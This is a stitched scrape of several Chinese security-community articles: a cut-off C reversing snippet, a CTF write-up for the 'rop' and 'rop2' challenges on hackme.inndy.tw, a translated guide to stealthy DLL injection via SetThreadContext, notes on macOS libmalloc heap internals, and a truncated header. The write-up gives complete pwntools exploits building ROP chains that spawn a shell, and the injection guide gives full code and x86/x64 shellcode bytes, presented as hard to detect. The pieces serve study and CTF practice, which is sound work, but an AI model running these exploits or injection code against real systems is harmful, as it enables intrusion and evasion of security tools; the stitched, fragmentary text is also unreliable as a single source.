if((unsigned char)(a[i]-81) > 46)
{
if(a[i]>0x80)
{
a[i] = a[i]-48;
b[i] += a[i];
}
}
else
{
a[i] = a[i]-48;
b[i] ^= a[i] >> 4;
}
}
else
{
a[i] = a[i]-80;
b[i] -= a[i];
}
}
}
int main(void)
{
for(int i = 0; i < 32; i++)
{
unsigned char tmp = 0;
for(int j = 0; j < i+1; j++)
tmp ^= hash[j];
}
for(int i = 0; i < 32; i++)
{
for(int j = 0; j < 32; j++)
{
hashed[i][j] = hash[j];
//printf("%d, ", hash[j]);
}
//putchar(10);
switch(rand()%6)
{
case 0: fun1(hash, plain);
break;
case 1: fun2(hash, plain);
break;
case 2: fun3(hash, plain);
break;
case 3: fun4(hash, plain);
break;
case 4: fun5(hash, plain);
break;
case 5: fun6(hash, plain);
break;
}
}
for(int i = 0; i < 32; i++)
{
switch(order[i])
{
case 0: fun1(hashed[31-i], enc);
break;
case 1: fun2(hashed[31-i], enc);
break;
case 2: fun3(hashed[31-i], enc);
break;
case 3: fun4(hashed[31-i], enc);
break;
case 4: fun5(hashed[31-i], enc);
break;
case 5: defun6(hashed[31-i], enc);
break;
}
}
for(int i = 0; i < 32; i++)
{
printf("%c", enc[i]);
}
return 0;
} | 社区文章 |
<https://hackme.inndy.tw/scoreboard/>
题目很有趣，我做了rop和rop2这两个题目感觉还不错，我把wp分享出来，方便大家学习
首先先是rop这个题目，下载地址就在<https://hackme.inndy.tw/scoreboard/，如果做题的网站关闭或者被墙，就可以从http://download.csdn.net/download/niexinming/10022831下载>
rop的要求是：
nc hackme.inndy.tw 7704
Tips: Buffer Overflow, ROP
把rop直接拖入ida中
main函数：
overflow函数：
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护：
看到NX enabled是开启了栈不可执行，这时ROP就有应用空间了
这个程序很简单，就一个gets函数，所以栈溢出就好了
这个程序似乎是用的静态库，所以我用readelf -d rop来查看一下
果然是静态库，这时候推荐一个ppt讲的很好<https://www.slideshare.net/hackstuff/rop-40525248，遇到这种题目推荐一个工具很不错：https://github.com/JonathanSalwan/ROPgadget/tree/master>
首先这个题目只要输入20个a就可以覆盖函数返回值了
这个题目如果用工具的话也很简单，直接用ROPgadget --binary rop --ropchain 就可以生成好rop利用链了，一点都不用操心，真不错
然后我都exp就是：
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
from struct import pack
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048892'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
shellcode="/home/flag"
# print disasm(shellcode)
elf = ELF('/home/h11p/hackme/rop')
#printf_addr = elf.symbols['printf']
#print "%x" % printf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
offset = 16
#io = process('/home/h11p/hackme/rop')
io = remote('hackme.inndy.tw', 7704)
#bof=0x080488B7
#payload = 'A' * offset
###ROPgadget --binary ~/hackme/rop --ropchain
###https://www.slideshare.net/hackstuff/rop-40525248
# Padding goes here
p = 'A' * offset
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
#debug()
io.sendline(p)
io.interactive()
io.close()
看一下效果：
下面介绍rop2这个题目，这个题目很有趣
rop2下载地址就在<https://hackme.inndy.tw/scoreboard/，如果做题的网站关闭或者被墙，就可以从http://download.csdn.net/download/niexinming/10022836下载>
rop2的要求是：
nc hackme.inndy.tw 7703
ROPgadget not working anymore
把rop直接拖入ida中
main函数：
overflow函数：
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护：
看到NX enabled是开启了栈不可执行，这时ROP就有应用空间了
这个程序很有趣，输入和输出都是用的syscall这个函数，关于syscall函数参考：<http://blog.chinaunix.net/uid-28458801-id-4630215.html和http://www.cnblogs.com/hazir/p/three_methods_of_syscall.html>
这两个文章，syscall的第一个参数是系统调用的宏，后面的参数是系统调用所用的参数，这个宏具体可参考/usr/include/x86_64-linux-gnu/asm/unistd_32.h
可以看到输出是3，输出是4，执行系统命令是11，关于execve函数这篇文章讲的很不错[http://blog.csdn.net/chichoxian/article/details/53486131，如果想用execve得到一个交互的shell的话，可以这样调用：execve("/bin//sh",NULL,NULL](http://blog.csdn.net/chichoxian/article/details/53486131，如果想用execve得到一个交互的shell的话，可以这样调用：execve\());
所以我就有一个想法，这里还是首先感谢M4x的点拨，M4x师傅真是太厉害了，首先，利用溢出后跳到main函数中这个syscall这个函数里面，并且传递参数（3,0,bss,8）,意思就是在.bss里面写入payload，也就是/bin//sh，然后再利用overflow的溢出再次跳到main函数中这个syscall这个函数里面，此时传递的参数是（11,bss,null,null），就相当于执行了execve("/bin//sh",NULL,NULL);
这个函数一样，这样就可以得到shell了
下面是我的exp：
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'niexinming'
from pwn import *
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x8048485'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
elf = ELF('/home/h11p/hackme/rop2')
bss_addr = elf.bss()
print "%x" % bss_addr
shellcode='/bin//sh'
#shellcode=p32(0x0804847C)
elf = ELF('/home/h11p/hackme/rop2')
offset = 16
io = process('/home/h11p/hackme/rop2')
#io = remote('hackme.inndy.tw', 7703)
payload = 'a'*4 +'b'*4+'c'*4
payload += p32(0x080484FF)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr) #.bss
payload += p32(0x8)
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
debug()
io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)
io.recvline(timeout=3)
io.sendline(payload2)
io.interactive()
io.close()
我来调试一下，首先把断点放在0x8048485这个地方，也就是overflow结尾的地方
这里有个坑，就是溢出后执行到overflow后面的leave;ret;会有堆栈不平衡的现象，明明溢出的地方在输入16个a之后的四个字节的地方,而leave指令相当于（mov
ebp esp；pop
ebp），而多出的ebp在输入12个a之后的四个字节中，这样的如果你的payloa是"a"*16+syscall_addr，那么程序在执行完overflow这个函数之后gdb就会崩溃
为了演示这个坑，我把exp中的payload改成
payload = 'a'*16
#payload += p32(0x080484ff)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr) #.bss
payload += p32(0x8)
所以在输入完12个a之后，再输入的四个字节应该是一个可读的地址空间，这个空间我选的是0x080484ff
所以paylaod就是：
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
解决完上面的坑之后继续往下走
溢出后跳入到main函数中的syscall(也就是080484FF)这个位置
这里看到传递的参数是（3,0,bss,8），程序向下又执行到了overflow这个函数中
此时再发出一个paylaod来溢出这个函数
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
在gdb中输入c发现又断在了0x8048485这个地址
继续输入n向下执行，发现又跳到main函数中的syscall(也就是080484FF)这个位置
这里看到传递的参数是（11,bss,0,0）,这里相当于执行execve("/bin//sh",NULL,NULL); 继续执行就成功了
来看一下效果
下面我放上M4x师傅写的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*- __Auther__ = 'M4x'
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
elf = ELF("./rop2")
syscall_addr = elf.symbols["syscall"]
bss_addr = elf.bss()
ppppr_addr = 0x08048578
payload = fit({0xC + 0x4: [p32(syscall_addr), p32(ppppr_addr), p32(3), p32(0), p32(bss_addr), p32(8)]})
payload += fit({0x0: [p32(syscall_addr), p32(0xdeadbeef), p32(11), p32(bss_addr), p32(0), p32(0)]})
io = process("./rop2")
io.sendlineafter("your ropchain:", payload)
io.send("/bin/sh\0")
io.interactive()
io.close()
经过调试发现，M4x师傅在溢出后就跳入到.got.plt表的中的syscall的地方，并且传入参数
调用完syscall之后，利用rop把传入syscall的参数弹出，使堆栈平衡
然后再调用syscall，并传入（11,bss,0,0）
getshell | 社区文章 |
# 【技术分享】Dll注入新姿势：SetThreadContext注入
##### 译文声明
本文是翻译文章，文章来源：microsoft.co.il
原文地址：<https://blogs.microsoft.co.il/pavely/2017/09/05/dll-injection-with-setthreadcontext/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：190RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
目前，有多种方法可用于将DLL注入到进程中，但每个都有其优点和缺点。在这些方法中，最简单的是使用[
**CreateRemoteThread**](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682437\(v=vs.85\).aspx)函数在目标进程中创建一个新线程，并将线程的启动函数指向
**LoadLibrary**
函数。这种方法最容易实现，但也是最容易被检测到，因为可以通过多种方式“感知”到创建的新线程，例如使用ETW事件。如果系统中存在一个驱动程序，并且该驱动程序正在hooking使用[
**PsSetCreateThreadNotifyRoutine**](https://msdn.microsoft.com/library/windows/hardware/ff559954)创建的线程，那么该行为自然会被安全检测工具识别到。
一种隐蔽的方法是使用现有的线程来执行DLL注入，其中一种方法是使用[APC](http://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/)通过[调用QueueUserApc](https://msdn.microsoft.com/EN-US/library/windows/desktop/ms684954\(v=vs.85\).aspx) 将APC附加到目标进程的线程队列中去，并使用
**APC**
调用LoadLibrary函数。使用APC执行DLL注入存在的问题是被注入线程必须进入可唤醒状态才能“处理”APC并执行我们的LoadLibrary调用，但要保证一个线程永远处于可唤醒状态是很困难的。为了增加成功的机会，可以向指定进程的每一个线程都插入一个APC，但这种做法在某些情况下是不起作用的。一个典型的例子就是
**cmd.exe** ，据我所知其单线程从不进入可唤醒状态。
这篇文章将阐述另一种使目标进程调用 **LoadLibrary**
函数的方法，但这次我们将通过操作现有线程的上下文来执行DLL注入，线程的指令指针被转移到一个自定义的代码段，然后被重定向回来。这种方法很难检测，因为这些操作看起来就像是一个正常线程正在做的事情，下面让我来阐述如何在x86和x64平台中完成这种DLL注入。
**DLL注入**
****
首先，我们需要做的第一件事就是找到一个目标进程并在该进程中选择一个线程，从技术上来讲，它可以是目标进程中的任何线程，但是一个处于“等待”状态的线程将不会运行我们的代码，所以最好还是选择一个正在运行或可能马上就要运行的线程来尽可能早地加载我们的DLL。一旦我们选定了进程中的目标线程，那么可以使用下面的代码来访问它们：
//
// open handle to process
//
auto hProcess = ::OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
if (!hProcess)
return Error("Failed to open process handle");
//
// open handle to thread
//
auto hThread = ::OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT, FALSE, tid);
if (!hThread)
return Error("Failed to open thread handle");
对于进程，由于我们将在进程中编写目标代码，因此我们在打开进程的函数中使用了 **PROCESS_VM_OPERATION** 和
**PROCESS_VM_WRITE**
这两个参数。对于线程，由于我们需要改变它的上下文，因此我们需要在改变其上下文的时候使它处于“悬挂”状态。这种DLL注入方法需要几个步骤：
首先，由于我们的代码需要在进程中执行，因此我们在目标进程中分配内存：
const auto page_size = 1 << 12;
auto buffer = static_cast<char*>(::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
在上述的代码中我们分配一整页RWX内存，实际上并不需要这么大的内存空间，但是内存管理器是以页为单位来分配内存空间，因此我们可以分配到一个完整的内存页面。我们使用下面的代码使线程处于“悬挂”状态，然后捕获执行线程的上下文：
if (::SuspendThread(hThread) == -1)
return false;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!::GetThreadContext(hThread, &context))
return false;
接下来，我们需要在目标进程中添加一些代码，这些代码必须使用汇编语言来写，并且必须与目标进程的bitness匹配（在任何情况下，注入的DLL必须与目标进程的bitness匹配）。对于x86而言，我们可以在Visual
Studio中编写以下内容，并复制生成的汇编代码：
void __declspec(naked) InjectedFunction() {
__asm {
pushad
push 11111111h ; the DLL path argument
mov eax, 22222222h ; the LoadLibraryA function address
call eax
popad
push 33333333h ; the code to return to
ret
}
}
该函数使用[ **__declspe** c(naked)](https://docs.microsoft.com/en-us/cpp/cpp/naked-cpp)属性进行修饰， **该属性用来告诉编译器函数代码中的汇编语言是我们自己写的，不需要编译器添加任何汇编代码**
。在将代码添加到目标进程之前，我们需要修改代码中的的占位符。在这个演示的源代码中，我将所生成的机器代码转换成一个字节数组，如下所示：
BYTE code[] = {
0x60,
0x68, 0x11, 0x11, 0x11, 0x11,
0xb8, 0x22, 0x22, 0x22, 0x22,
0xff, 0xd0,
0x61,
0x68, 0x33, 0x33, 0x33, 0x33,
0xc3
};
字节数组对应于上述的指令，现在我们修改虚拟地址：
auto loadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// set dll path
*reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(buffer + page_size / 2);
// set LoadLibraryA address
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);
// jump address (back to the original code)
*reinterpret_cast<unsigned*>(code + 0xf) = context.Eip;
首先，我们得到 **LoadLibraryA** 的地址，因为这是我们用来在目标地址中加载DLL的函数。 **LoadLibraryW**
也可以正常工作，但是ASCII版本的使用更简单一些。 接下来，我们将修改后的代码和DLL路径写入目标进程：
//
// copy the injected function into the buffer
//
if (!::WriteProcessMemory(hProcess, buffer, code, sizeof(code), nullptr))
return false;
//
// copy the DLL name into the buffer
//
if (!::WriteProcessMemory(hProcess, buffer + page_size / 2, dllPath, ::strlen(dllPath) + 1, nullptr))
return false;
最后一件事是将新的指令指针指向添加的代码并恢复线程执行：
context.Eip = reinterpret_cast<DWORD>(buffer);
if (!::SetThreadContext(hThread, &context))
return false;
::ResumeThread(hThread);
下面我们将以32位版本的DLL注入为例来阐述如何使用调试工具来调试我们注入的进程。首先，我们需要附加到目标进程中去，并跟随目标中的代码执行流程。在以下示例中，我从
**WindowsSysWow64**
目录（在64位系统上）启动了32位版本的记事本。在演示项目（地址见文章末尾处）中，命令行程序允许设置目标进程ID和要注入的DLL的路径，这里我已经在Visual
Studio设置过了，并在调用[SetThreadContext](https://msdn.microsoft.com/EN-US/library/windows/desktop/ms680632\(v=vs.85\).aspx)之前放置了一个断点，控制台窗口显示了将代码复制到的虚拟地址，具体如下图所示：
现在我们可以将WinDbg附加到记事本进程，并查看该地址上的代码：
0:005> u 04A00000
04a00000 60 pushad
04a00001 680008a004 push 4A00800h
04a00006 b8805a3b76 mov eax,offset KERNEL32!LoadLibraryAStub (763b5a80)
04a0000b ffd0 call eax
04a0000d 61 popad
04a0000e 685c29e476 push offset win32u!NtUserGetMessage+0xc (76e4295c)
04a00013 c3 ret
我们可以清楚地看到我们修改的代码，其中调用了 **LoadLibraryA** 函数，然后代码恢复到 **NtUserGetMessage**
函数内的某个位置，我们甚至可以在04A00000地址处设置一个断点，如下所示：
bp 04A00000
现在我们可以让记事本程序继续执行，但我们设置了一个断点，以下是断点和调用堆栈的详细信息：
Breakpoint 0 hit
eax=00000001 ebx=01030000 ecx=00000000 edx=00000000 esi=0093fbe4 edi=01030000
eip=04a00000 esp=0093fba0 ebp=0093fbb8 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
04a00000 60 pushad
0:000> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0093fb9c 7570fecc 0x4a00000
01 0093fbb8 01037219 USER32!GetMessageW+0x2c
02 0093fc38 0104b75c notepad!WinMain+0x18e
03 0093fccc 763b8744 notepad!__mainCRTStartup+0x142
04 0093fce0 7711582d KERNEL32!BaseThreadInitThunk+0x24
05 0093fd28 771157fd ntdll!__RtlUserThreadStart+0x2f
06 0093fd38 00000000 ntdll!_RtlUserThreadStart+0x1b
我们可以一步一步地调试 notepad，但也可以让 notepad进程去加载我们的DLL，一旦DllMain被调用，我们就可以做任何事情了：
以下是我在64位机器上测试使用的代码，但我并不能保证该段代码在任何情况下都可以正常运行，因此该代码还需要进行更多测试：
BYTE code[] = {
// sub rsp, 28h
0x48, 0x83, 0xec, 0x28,
// mov [rsp + 18], rax
0x48, 0x89, 0x44, 0x24, 0x18,
// mov [rsp + 10h], rcx
0x48, 0x89, 0x4c, 0x24, 0x10,
// mov rcx, 11111111111111111h
0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
// mov rax, 22222222222222222h
0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
// call rax
0xff, 0xd0,
// mov rcx, [rsp + 10h]
0x48, 0x8b, 0x4c, 0x24, 0x10,
// mov rax, [rsp + 18h]
0x48, 0x8b, 0x44, 0x24, 0x18,
// add rsp, 28h
0x48, 0x83, 0xc4, 0x28,
// mov r11, 333333333333333333h
0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
// jmp r11
0x41, 0xff, 0xe3
};
X64版本的代码看起来与x86版本不同，因为x64中的调用约定与x86 **__stdcall**
不同。例如，前四个整数参数在RCX，RDX，R8和R9中传递，而不是堆栈。在我们的例子中，
由于LoadLibraryA函数只需要一个参数即可，因此一个RCX就足够了。
对代码的修改自然需要使用不同的偏移量：
// set dll path
*reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(buffer + page_size / 2);
// set LoadLibraryA address
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
// jump address (back to the original code)
*reinterpret_cast<unsigned long long*>(code + 0x34) = context.Rip;
**总结**
****
本文讲述了一种通过改变线程上下文来执行DLL注入的一种方法，由于加载DLL是一件很寻常的事件，因此这种方法很难被检测到。一种可能的方法是定位可执行页面并将其地址与已知模块进行比较，但是注入进程会在DLL注入完成后释放注入函数的内存，因此定位可执行页面也是非常困难的。
文中涉及到的代码可以在我的Github仓库中找到 ：
<https://github.com/zodiacon/DllInjectionWithThreadContext> | 社区文章 |
学习的 ppt
感谢 AngelBoy1
[地址](https://www.slideshare.net/AngelBoy1/macos-memory-allocator-libmalloc-exploitation)
# 基础
在macOS中利用的是 libcmalloc
在这个模式中 堆块对应为 `tiny small large`
* **tiny** (Q = 16) ( **tiny** < 1009B )
* **small** (Q = 512) ( 1008B < **small** < 127KB )
* **large** ( 127KB < **large** )
每个magazine有个cache区域可以用来快速分配释放堆。
## quantum
### tiny
可以称为 `block`
在 `Tiny 内存堆块中，最小的单位为`quantum` 大小0x10 字节。
记录堆块大小的信息为 以`quantum` 为单位的 `msize`
我们malloc 分配的 chunk 由很多的 `block` 组成
没有 被分配使用的 `block` 里面是没有元数据 ( **metadata** )的
### small
small 中 这 block 在 region 中的 大小为 `0x200`
也被成为 `quantum`
没有 被分配使用的 `block` 里面是没有元数据 ( **metadata** )的
## 结构分析
每个进程包含3个区域，分别为 **tiny rack** , **small rack** , **large allocations**
每个区域里面包含了 多个 `magazine区域` 是活动可变的。
`magazine区域` 中又有多个 `Region` 对于 `tiny rack` 1MB 和 `small rack` 8MB他们的大小不同
“Region”中包含三样东西，一个是以 **Q** 为单位的内存block, 还有个是负责将各个”Region”关联起来的 **trailer**
另外一个就是记录chunk信息的 **metadata**
源码中对应的结构
tiny Region {
Q(1Q = 16) * 64520个
region_trailer_t trailer
metadata[64520/sizeof(uint32_t)] {
bitmaps[0]: uint32_t header = 描述哪个block是起始chunk
bitmaps[1]: uint32_t inuse = 描述chunk状态(busy/free)
}
}
Small Region {
Q(1Q = 512) * 16320个
region_trailer_t trailer
metadata[16320] {
bitmaps[0]: uint16_t msize = 最高一位描述chunk状态(busy/free), 其余位描述chunk的Q值（Q值代表与下一个chunk相差多少个Q）
}
}
## tiny
Tiny 比较类似于 linux 下的堆块
### tiny chunk
Free 后会被放在对应的 freelist 上
当 tiny 堆块被 free 后会在堆块内写入数据
因为申请的 chunk 是 0x10 大小的单位 ，所以 末尾都是 0 右移不会影响恢复。
最高以为 0-0xf 里面任意值
`checksum(prev_pointer), checksum(next_pointer), msize`
这里虽然和 linux 一样保存在 freelist 但是free 后的 chunk 中保存的却不是 原始的 上一个或者下一个chunk的地址 而是经过
checksum 计算的 chunk地址。
算法为
Checksum = SumofEverybytes(ptr^cookie)&0xf
会随机生成一个cookie，这个cookie会pointer进行下面的计算生成一个checksum, 然后将(checksum << 56 ) |
(pointer >> 4)运算后将checksum保存在高位上，以便检测堆的元数据是否被溢出破坏
保存的指针的结构
在 free 后的chunk结构中
Msize 记录的是 `block` 的个数，比如这个 chunk 大小为 0x40 那么他对应 4个 `block` 所以 `Msize` 的值为 4
### tiny magazine
结构
这里的 map_last 类似于一个 **缓存** ，对于free 的chunk(<=0x100) 不会直接返回给计算机，而是先保存在
这个地方，当下次申请的试试优先使用他，在free 下一个 chunk 之后才会将 第一个free 的chunk 真正的free掉。
`map_last_free` 保存的是 最后一次free 的chunk
`map_last_free_msize` 保存的是 最后一次free 的chunk的大小
`map_last_free_rgn` 保存的是 最后一次free 的chunk region
然后下面的 的才是 我们的 `free_list`
每个大小为 0x10 一共有 64 个 `free_list`
保存在 `free_list` 上面类似 linux下的 `smallbins` 保存方式
### tiny Region
tiny Region {
Q(1Q = 16) * 64520个
region_trailer_t trailer
metadata[64520/sizeof(uint32_t)] {
bitmaps[0]: uint32_t header = 描述哪个block是起始chunk
bitmaps[1]: uint32_t inuse = 描述chunk状态(busy/free)
}
}
tiny 的 `Region` 结构图
`tiny_header_inuse_pair_t` 为8字节 也就是 这个 `Region` 末尾的 元数据 (matedata)
前4字节 为 `Header` 用于指示对应的块是不是 chunk 头
后4字节 为 `inuse` 用于记录这个chunk 是否被使用
### 分配机制
分配 tiny 的大小为 `<1008 bytes`
当我们申请时，会先去检测
1. `tiny magazine` 中 `tiny_mag_ptr->mag_last_free_msize == msize` 是否上一个 free 的chunk 大小和我们现在要申请的chunk 大小一样，这个 `tiny magazine` 中的 chunk 类似存储在 缓存中 `cache`
2. 如果 `tiny magazine` 中的 `mag_last_free_msize` 不符合我们需要的，会去 `free_list` 中找到对应的chunk，然后会 这个 选择的这个 `chunk->next` 指针进行解密。
3. 如果 也没用对应大小的 chunk，回去 `free_list` 中存在 chunk 且 大小能够使用的 list 中取出chunk 将chunk 进行切割，取出，然后将剩下的chunk 放入对应 大小的 `free_list`中
4. 如果 `free_list` 中没有对应的 free 的chunk 能被申请，且 `tiny region end` 大小满足 申请的chunk大小 那么就会从 `tiny region end` 中申请
5. 当找到对应大小的 chunk 后，会跟新 `metadata(tiny Region 中的 tiny_header_inuse_pair 修改标志位 标明chunk 的使用情况)` 然后将申请的 chunk 返回给 用户 。
接着会利用 `szone_size` 大小索引方法，验证 头和使用状态。
### Free机制
1. 如果free 的chunk 的 mszie < 0x10，当前堆块会与 cache (缓存里面的) 的freeed 堆块交换。
2. `tiny_free_no_lock` 类似于 glibc 的堆块合并操作， 合并上一个 和 下一个 freed chunk 然后清除对应的 inuse 位
* 利用 上一个 freed chunk 末尾的 mszie 来找到上一个 freed chunk 的位置
* 利用 当前chunk 的 mszie 和当前chunk 的开始位置计算 下一个 freed chunk 的位置
* 在合并之前会进行 unlink 操作。
#### ulink
unlink 操作的时候 类似 glibc 但是他是先对 chunk 里面的指针进行 `unchecksum` 限定也是和 glibc 一样的
#### ppt 图片解释
首先 我们的 free_list 里面已经存在一个 free了的 chunk 且 我们的 `Cache` 里面的内容为空
这个时候我们 free(P) 我们的 P 会被放入到 `Cache` 里面且记录当前 free 的 P 的size 和 来自的 `Region`
接着 我们在 free(Q) 这个时候因为 P 是在 `Cache` 里面的，这个时候 Q 被free 了，我们的 `Cache` 里面的 P 会被放置到
对应的 free_list，这个时候这个 free_list 中已经存在一个 free 了的 chunk。
我们要放入 P 入这个 `free_list` 首先会 检测 free_list 里面的chunk 的 prev header 和 inuse 的元数据位
然后回去 清空 `tiny_list` 里面 元数据的 P 的 header 和 inuse 位。
然后对 P 和 free_list 里面的chunk 进行unlink 操作，因为是 相邻的，于是进行合并。然后再去检查下一个 chunk进行上面操作。
接着 合并的chunk 会被放到 对应大小的 free_list 里面
## Small
### small chunk
##### small chunk
结构类似月 tiny chunk 不一样的是这里 pre 和 next 指针用的是原始指针
不用的是 pre 和 next 指针不是相邻的 而是 在 pre next 之后 添加一个 字节来储存 checksum 的值
且这个值会被填充为 8 字节
##### obb free chunk
且还有一种称为 oob free chunk 的 用于实现页面对其。这样的 chunk 中没有 元数据(metadata)
`oob_free_entry_s` 利用来管理 oob chunk。
Prev 和 next 指向表中同样大小的 free 的chunk
保存的是 原始数据。
Ptr 是对这个 oob chunk 的标志，oob chunk在 region 里面的索引 和 是否这个 oob 被free(最高位标志)
### small magzine
前面的基础 和 tiny magazine 一样的
前面的 `map_last_xxx` 保存上次 free 后放入到 这里的 chunk 也就是 一个 `Cache` 缓存
这里是 `free_list` 是以 0x200 字节为单位 保存的值 oob_free_entry 然后根据 oob_free_entry 的 Ptr
指针找到对应的 free 的chunk 的位置。`oob_free_entry` 又保存在 `small Region` 的末尾
其中 free_lits 里面存储的 chunk 不会 直指向 `magzine`
### small Region
其中保存 `chunk` `small_region_end` `small_meta_words` `smal_oob_free_entries`
block 大小为 0x200
这个 region
大小默认为 0x800000
block 的个数为 16319
region 末尾存在 `small_meta_words` `small_oob_free_entries`
##### small_meta_words
里面保存的元素对应 region 里面的 每个 block
且里面 保存了 chunk 的大小和 inuse 位
这里面保存的 block 会保存当前使用中的 chunk 的 size 大小
也会保存 freed chunk 的 大小和 flag 标志
这个 block 内存的最高一位 标志chunk 是否被使用
##### small_oob_free_entries
一共 32 个保存位置
保存 `oob_free_entry` （实现页面对齐）
### free 后结构
### 分配机制
分配大小 为 1008 - 128kb 利用 small_malloc
1. 和 tiny 一样 先去查看 `magzine` 里面 `map_last_xxx` (Cache) 是否保存了 对应 msize 的free 的 small chunk。如果存在直接取出 `Cache` 里面值保存一个上一次 free 的 chunk
2. 如果没有合适的，会去对应的 free_list 里面找。
一般情况下的 chunk 会执行 unchecksum next 指正。
接着会去检测 双链接表 执行unlink 操作， 判断 next->prev == ptr
和 tiny chunk 的申请是一样的，但是 oob chunk 里面ptr 地址存的是 原始数据 不用调用 unchecksum
3. 且是从 free_list 头取出
4. 申请得到 chunk 后 会修改 `small Region` 末尾的 `small_oob_free_entries` 里面对应的标志 修改 flag|size 为 mszie msize 的大小为 `0x600/0x200` 这样的计算
### Free机制
1. 把 chunk 放入 `Cache`
2. 在free small chunk 中也会存在 合并操作。
* 首先根据这个堆块 prev 指针找到上一个堆块，根据堆块所在的 Region 末尾的 `small_meta_words` 去查看这个 上一个堆块 标志位，判断这个堆块 是否被free 和 他的msize。从而定位到 上一个chunk 的位置。
* 然后找到 下一个堆块的 判断是否 free 得到他的大小
* 接着 合并相邻地址的 prev next free 的chunk （先进行unlink 然后进行 合并
##### unlink
首先根据 是否为 oob chunk
如果为 oob chunk 直接获取 对应的 ptr 指正，如果不是先进行 `unchecksum` 然后进行合并
也是和 tiny chunk 一样会验证 chunk 的 `prev->next == next->prev == ptr`
成立才回调用 unlink
##### 图解
和tiny 一样 | 社区文章 |
**作者：Tangerine
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
> 引言与架构：
>
>
